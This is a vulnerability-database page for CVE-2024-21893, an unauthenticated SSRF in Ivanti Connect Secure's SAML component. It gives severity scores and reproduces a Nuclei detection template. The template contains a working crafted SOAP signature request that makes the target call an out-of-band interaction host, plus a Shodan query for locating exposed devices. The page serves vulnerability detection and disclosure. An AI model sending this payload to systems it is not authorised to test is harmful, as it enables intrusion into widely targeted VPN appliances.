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nucleiProjectDiscoveryNUCLEI:CVE-2024-21893
HistoryFeb 03, 2024 - 8:20 a.m.

Ivanti SAML - Server Side Request Forgery (SSRF)

2024-02-0308:20:02
ProjectDiscovery
github.com
31
cve2024
kev
ssrf
ivanti
saml
requestforgery
connectsecure

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

8.9 High

AI Score

Confidence

High

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.973 High

EPSS

Percentile

99.9%

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
id: CVE-2024-21893

info:
  name: Ivanti SAML - Server Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: high
  description: |
    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
  reference:
    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
    - https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-21893
    cwe-id: CWE-918
    epss-score: 0.96249
    epss-percentile: 0.9949
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: "connect_secure"
    shodan-query: "html:\"welcome.cgi?p=logo\""
  tags: cve,cve2024,kev,ssrf,ivanti

http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">	<soap:Body>		<ds:Signature		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">			<ds:SignedInfo>				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>			</ds:SignedInfo>			<ds:SignatureValue>qwerty</ds:SignatureValue>			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">				<ds:RetrievalMethod URI="http://{{interactsh-url}}"/>				<ds:X509Data/>			</ds:KeyInfo>			<ds:Object></ds:Object>		</ds:Signature>	</soap:Body></soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and
# digest: 490a0046304402200a0547b87f667aa36af039f186372735c368c54758d1da68f5b0fd18312a8c0402201944364cc59a7b39458b86b84369d97aa826d793c83d4c42fed8f694a87920be:922c64590222798bb761d5b6d8e72950

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

8.9 High

AI Score

Confidence

High

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.973 High

EPSS

Percentile

99.9%